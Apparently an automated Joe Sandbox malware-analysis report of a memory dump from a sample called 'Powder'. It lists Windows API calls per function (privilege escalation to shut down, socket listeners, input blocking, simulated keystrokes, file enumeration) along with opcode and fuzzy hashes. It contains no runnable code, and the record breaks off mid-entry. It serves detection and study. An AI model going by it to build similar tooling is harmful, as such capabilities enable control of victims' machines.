Part of subcall function 00C852B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C852E6

Sleep.KERNEL32(0000000A), ref: 00CEFAB3
_wcscmp.LIBCMT ref: 00CEFAC7
_wcscmp.LIBCMT ref: 00CEFAE2
FindNextFileW.KERNEL32(?,?), ref: 00CEFB80

Strings

*.*, xrefs: 00CEFA68

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 1b0dcd0eae1592cf643a222dd81058a0fb82397a444ce5f337c226c92bdd3c99
Instruction ID: 70d8297dedadd71145e07ce16e2fbd53fb261e491272a4ae0a35456b743ad68b
Opcode Fuzzy Hash: 1b0dcd0eae1592cf643a222dd81058a0fb82397a444ce5f337c226c92bdd3c99
Instruction Fuzzy Hash: E041817194025AAFCF14DF65CC59AEEBBB4FF05350F14816AF814A2291EB309F85DB60

Function 00CE5778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD9399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CD93E3
Part of subcall function 00CD9399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CD9410
Part of subcall function 00CD9399: GetLastError.KERNEL32 ref: 00CD941D

ExitWindowsEx.USER32(?,00000000), ref: 00CE57B4

Strings

SeShutdownPrivilege, xrefs: 00CE5784
, xrefs: 00CE57A2
@, xrefs: 00CE57A7

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 9b9ec82e80c48400401b93464705de06ed2ef9d4ab6e37ac47215d55acc1c921
Instruction ID: 6efd3b05f0f33eaba11623d1c813f32a62810eb4e6b763a298b8dde12b901a92
Opcode Fuzzy Hash: 9b9ec82e80c48400401b93464705de06ed2ef9d4ab6e37ac47215d55acc1c921
Instruction Fuzzy Hash: 42012631770752FAE72862A79C8BBBB7658EB04758F24002AFA23D21D2EE905C608160

Function 00CF696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00CF69C7
WSAGetLastError.WSOCK32(00000000), ref: 00CF69D6
bind.WSOCK32(00000000,?,00000010), ref: 00CF69F2
listen.WSOCK32(00000000,00000005), ref: 00CF6A01
WSAGetLastError.WSOCK32(00000000), ref: 00CF6A1B
closesocket.WSOCK32(00000000,00000000), ref: 00CF6A2F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: dc3aadbb18a573678c34ab80d7d515198c0775a6f64673f573cb35a433aa2279
Instruction ID: eb7778934bdda0bccb2eacb668876362a80441030303c6072d2146b86052e351
Opcode Fuzzy Hash: dc3aadbb18a573678c34ab80d7d515198c0775a6f64673f573cb35a433aa2279
Instruction Fuzzy Hash: 8021C130200205AFCB00FF68C849A7EB7A9EF44724F118159E926E73D1DBB0AD41DBA1

Function 00C81663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00C81DD6
GetSysColor.USER32(0000000F), ref: 00C81E2A
SetBkColor.GDI32(?,00000000), ref: 00C81E3D

Part of subcall function 00C8166C: DefDlgProcW.USER32(?,00000020,?), ref: 00C816B4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: fab0a5c7fc2e419090bba6f2fd6e8ac809e5c55967f1b3d7b1ab8fcc9ee63df6
Instruction ID: 02e9c3eae54775a7e3a15a1e158912f5b926234c09fd3182203513b6d1118ec4
Opcode Fuzzy Hash: fab0a5c7fc2e419090bba6f2fd6e8ac809e5c55967f1b3d7b1ab8fcc9ee63df6
Instruction Fuzzy Hash: BAA115B4115504BBE629BBAA8C49FBB39DDDB42349F18410BFC12C6291CB649E03D37E

Function 00CEC2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00CEC329
_wcscmp.LIBCMT ref: 00CEC359
_wcscmp.LIBCMT ref: 00CEC36E
FindNextFileW.KERNEL32(00000000,?), ref: 00CEC37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00CEC3AF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 44dd069063c69f96469ceca27f6329a21922b2b4de6c8c388a9de324397c58d2
Instruction ID: 16e66629a0d1d5dfd6af2b60057f330d3803f31a63ddd3c9b3d17d3f14dcb9e0
Opcode Fuzzy Hash: 44dd069063c69f96469ceca27f6329a21922b2b4de6c8c388a9de324397c58d2
Instruction Fuzzy Hash: 1B51AA356046029FC718DF69C4D1AAAB3E4EF09314F10861AF966CB3A1DB30AD06DB91

Function 00CF6E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF8475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00CF84A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00CF6E89
WSAGetLastError.WSOCK32(00000000), ref: 00CF6EB2
bind.WSOCK32(00000000,?,00000010), ref: 00CF6EEB
WSAGetLastError.WSOCK32(00000000), ref: 00CF6EF8
closesocket.WSOCK32(00000000,00000000), ref: 00CF6F0C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 0a3201cad03c51ebeee757b2dbc10f0d163742314a22b834a9bd11921df53eac
Instruction ID: 196b30d601c98b17e089e161a409019325e5035a193020892dd8481e95b2d383
Opcode Fuzzy Hash: 0a3201cad03c51ebeee757b2dbc10f0d163742314a22b834a9bd11921df53eac
Instruction Fuzzy Hash: DB413575600205AFDB14BFA4DC86F7E77A9DF04718F00815CFA15AB3D2EA709D009BA5

Function 00D059B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00D05A02
IsWindowEnabled.USER32 ref: 00D05A10
GetForegroundWindow.USER32(?,?,00000001), ref: 00D05A1D
IsIconic.USER32 ref: 00D05A2B
IsZoomed.USER32 ref: 00D05A39

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 93d92d08eab7e9dd784ee3df9bb40dc7c4824346911d7d6f4e2a517a127c8d4b
Instruction ID: 5a24b7511d0ec80213e368e2da116a953b5830f7a525ca5d13cb18137b48251b
Opcode Fuzzy Hash: 93d92d08eab7e9dd784ee3df9bb40dc7c4824346911d7d6f4e2a517a127c8d4b
Instruction Fuzzy Hash: AE11B631700A11AFE7216F66AC84B6F7B99EF44760B058129FC49D7285DE70E9028FB4

Function 00CC0030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00CC0034
__swprintf.LIBCMT ref: 00CC0065

Strings

WIN_XPe, xrefs: 00CC00A4
%.3d, xrefs: 00CC003F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 0217a1650bd1176c76263ac26485ed8f5add6413162ebc5ef0b0eae3cc0142e4
Instruction ID: 3aa447eb551b69a80f80b21c62125bae777df0747374be852918cdd7c4085f5b
Opcode Fuzzy Hash: 0217a1650bd1176c76263ac26485ed8f5add6413162ebc5ef0b0eae3cc0142e4
Instruction Fuzzy Hash: 42D01271808109EAC7049A92D845FF9777CAB44304F314057F506E2040E7758788AB26

Function 00CF29BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00CF1ED6,00000000), ref: 00CF2AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00CF2AE4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: adc1e375c545806293b10069c1ea8ec6083de22a09ec96e63c93de7a4b41176e
Instruction ID: 6ce67905d57f42f5bcaa5a8e31b93f2cd867f5d9ec99921eee39b3687769aba6
Opcode Fuzzy Hash: adc1e375c545806293b10069c1ea8ec6083de22a09ec96e63c93de7a4b41176e
Instruction Fuzzy Hash: AA41C57160030DBFEB60DE95CC85EBBB7BCEB40764F10405AFB15A7141EA719E41A661

Function 00CD9399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0FE6: std::exception::exception.LIBCMT ref: 00CA101C
Part of subcall function 00CA0FE6: __CxxThrowException@8.LIBCMT ref: 00CA1031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CD93E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CD9410
GetLastError.KERNEL32 ref: 00CD941D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: c673bc7b3148072354c0f3f5752e22f0ba39d5b624a48d7df1c5e8590cfec74d
Instruction ID: 4d3f0ce1892535b682d0df33d7dea7b969ce448a5245d9ab177f6bc8d9aaac0c
Opcode Fuzzy Hash: c673bc7b3148072354c0f3f5752e22f0ba39d5b624a48d7df1c5e8590cfec74d
Instruction Fuzzy Hash: 46118FB1414309BFD728EF54DC85D6BBBBCEB48750B20852EF45A96351EB70AC41CB60

Function 00CE42D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00CE42FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00CE433C
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00CE4345

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 4120f610faa65f1b24e89c54400a14fd91e8bf19d0aa3031852304bb5dab2e7f
Instruction ID: adcdadc1823ed1205eb52b6e58d707c8194562b4043050db22dbf6e252dba6b3
Opcode Fuzzy Hash: 4120f610faa65f1b24e89c54400a14fd91e8bf19d0aa3031852304bb5dab2e7f
Instruction Fuzzy Hash: 601182B1900329BFE7109BE99C44FBFBBBCEB09720F004156F914E72A0C2B85E4087A1

Function 00CE4F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00CE4F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00CE4F5C
FreeSid.ADVAPI32(?), ref: 00CE4F6C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: b1f47e45d96a745b72caeb26a2d20d3e8255b8159f395d980a4dc1eb49b280a3
Instruction ID: e84093bfc9d402bc4619021b58f4d84b45983ab128b3a14c395480cf149b0a1b
Opcode Fuzzy Hash: b1f47e45d96a745b72caeb26a2d20d3e8255b8159f395d980a4dc1eb49b280a3
Instruction Fuzzy Hash: 8EF04F7591130CBFDF04DFE0DC89AEDBBBCEF08201F004469A501E2280D7745A448B50

Function 00CE1AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00CE1B01
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 00CE1B14

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 92b11e4534ba783541c848178ca23a5a476f4c6b04129a68ca354773af59ee77
Instruction ID: 6a33f2806b583a8af945fe89055e747829d02407d759e816e96f256e3513c95a
Opcode Fuzzy Hash: 92b11e4534ba783541c848178ca23a5a476f4c6b04129a68ca354773af59ee77
Instruction Fuzzy Hash: 5AF0377194024DABEB00DF95C805BFEBBB4EF04315F00804AFD5596292D7799625DFA4

Function 00CEA6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00CF9B52,?,00D1098C,?), ref: 00CEA6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00CF9B52,?,00D1098C,?), ref: 00CEA6EC

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 12351d6ce6ebe945c5b4cdfd443f456981c7aa7115f106902b649befb5871191
Instruction ID: f362fb64441c7716a19ac827ddf0f7f61566f69a5f04fe41df38cd96f6e938ad
Opcode Fuzzy Hash: 12351d6ce6ebe945c5b4cdfd443f456981c7aa7115f106902b649befb5871191
Instruction Fuzzy Hash: 57F0823550422EBFDB20AFA5CC49FEA77ACEF09361F008156B918D6291DA709A41DBA1

Function 00CD8DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CD8F27), ref: 00CD8DFE
CloseHandle.KERNEL32(?,?,00CD8F27), ref: 00CD8E10

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 7ef7fad5dbe9457cd5630011c26ff7f4d70806b8de2e68d89fc04ea52b399ea9
Instruction ID: fd6cc86eab7434c63f4a5ab4852d1dbcd95632f2f3ad7f3e59feecf5767c9126
Opcode Fuzzy Hash: 7ef7fad5dbe9457cd5630011c26ff7f4d70806b8de2e68d89fc04ea52b399ea9
Instruction Fuzzy Hash: E5E0BF75010611EFE7252B50EC09DB77BADEB04360B15C919F96584570DB616CD1DB60

Function 00CAA385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00CA8F87,?,?,?,00000001), ref: 00CAA38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00CAA393

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 65c6e6cb3bfb4a151f40bb8a2decaa066abfa594f6d8b06ac1f42c5658da12e6
Instruction ID: 7fe555709d7702c6b21a31127621bb897c75a12f955f4c363af8f77121f60619
Opcode Fuzzy Hash: 65c6e6cb3bfb4a151f40bb8a2decaa066abfa594f6d8b06ac1f42c5658da12e6
Instruction Fuzzy Hash: ECB0923106430CFBCA403B91EC09BC83F68EB44B62F008010F61D84260CFA254928AA1

Function 00CF45D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00CF45F0

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 2c9a23b0a0d89d9a827458f6d12cef7b54878f22083fe591c6d57c8c7053f6c2
Instruction ID: a661cee63efe745670cce91768f7648f21a84bdf53edd8c620465d898664f747
Opcode Fuzzy Hash: 2c9a23b0a0d89d9a827458f6d12cef7b54878f22083fe591c6d57c8c7053f6c2
Instruction Fuzzy Hash: 5BE0DF31200219AFC300BF5AE800E9BFBE8AF94760F00801AFD49C7310DEB0E9418BA1

Function 00CE51E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00CE5205

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 5b221393eb244d80ed699d9f56ccab23c51db7541451f85eb0e00d8307b3e25e
Instruction ID: 82f5be3fa9ce2eb9ac18eb40317c39a34ee32012c054d231a5b4b9466beb3765
